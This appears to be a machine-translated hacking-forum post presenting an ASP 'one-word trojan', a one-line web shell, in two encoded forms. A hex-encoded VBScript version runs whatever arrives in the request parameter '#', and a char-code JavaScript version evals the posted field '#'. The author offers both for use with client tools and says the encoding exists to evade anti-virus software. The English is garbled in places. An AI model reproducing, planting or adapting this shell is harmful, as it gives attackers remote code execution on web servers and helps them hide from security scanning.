A word ASP Trojan encrypted version thoroughly break anti-virus software _ Trojan related

I don't know how to express myself clearly. Let's see the example:

Copy Code code as follows:

<script language=vbs runat=server> 
Execute ( Hextostr ("65786563757465287265717565737428636872283335292929"))  
Function hextostr (data)  
hextostr= "execute " "" " 
c=" &CHR (&h " 
n=") " 
Do while len ( Data) >1 
If isnumeric (left (data,1))  Then 
Hextostr=hextostr&c&left (data,2 ) &N 
Data=mid (data,3)  
else 
Hextostr=hextostr&c&left (data,4) &N  Br>data=mid (data,5)  
end if 
loop 
end function 
</script>&nbs P
<script runat=server language=javascript>eval (string.fromcharcode  
116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116 , 99,104,40,101,41,123,125) </SCRIPt> 

But after the encryption is not a word, haha. This s end can be connected with Haiyang or ice fox, and the password is #.

In fact, just to write the <script language=vbs runat=server> this way, the code can be used JS or VBS, such as encryption encryption to decrypt, so that the ASP only Microsoft that Dongdong can be encrypted, while eliminating the ASP in the% Number just. Of course not encrypted also can, call <script Language=vbs runat=server> that is still a sentence, encryption is mainly to avoid anti-virus software.